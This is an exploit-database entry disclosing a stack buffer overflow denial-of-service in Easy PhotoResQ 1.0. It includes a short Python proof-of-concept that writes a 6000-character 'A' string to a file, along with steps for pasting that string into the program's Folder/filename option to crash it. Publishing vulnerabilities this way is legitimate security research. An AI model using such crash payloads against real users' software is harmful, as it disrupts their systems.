Easy PhotoResQ 1.0 - Denial Of Service (PoC)

vendor:

Easy PhotoResQ

by:

Gionathan Reale

7.8

CVSS

HIGH

Denial of Service

119

CWE

Product Name: Easy PhotoResQ

Affected Version From: v1.0

Affected Version To: v1.0

Patch Exists: YES

Related CWE: N/A

CPE: a:hdtune:easy_photoresq:1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7 32-bit

2018

Easy PhotoResQ 1.0 – Denial Of Service (PoC)

A buffer overflow vulnerability exists in Easy PhotoResQ 1.0, which can be exploited by malicious people to cause a DoS (Denial of Service). The vulnerability is caused due to a boundary error when handling a specially crafted file. This can be exploited to cause a stack-based buffer overflow via an overly long, specially crafted file. Successful exploitation of this vulnerability may allow an attacker to cause a DoS.

Mitigation:

Upgrade to the latest version of Easy PhotoResQ 1.0

Source

Exploit-DB raw data:

# Exploit Title: Easy PhotoResQ 1.0 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-29
# Homepage: https://www.hdtune.com/
# Software Link: https://www.hdtune.com/download.html
# Tested Version: v1.0
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt". Copy the content of the new file "exploit.txt". 
# Now start the program. Now when you are inside of the program click "File" > "Options". In the field: "Folder / filename" paste the copied content from "exploit.txt". 
# Now click "OK" and see a crash!  

#!/usr/bin/python
   
buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"